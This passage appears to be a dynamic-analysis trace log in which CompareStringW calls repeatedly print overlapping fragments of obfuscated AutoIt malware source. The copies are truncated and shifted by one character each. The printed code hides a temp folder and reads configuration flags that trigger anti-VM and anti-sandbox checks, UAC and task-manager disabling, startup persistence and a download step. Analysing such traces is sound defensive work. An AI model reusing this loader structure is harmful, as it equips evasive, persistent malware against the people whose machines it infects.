\"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C3", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A1", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const 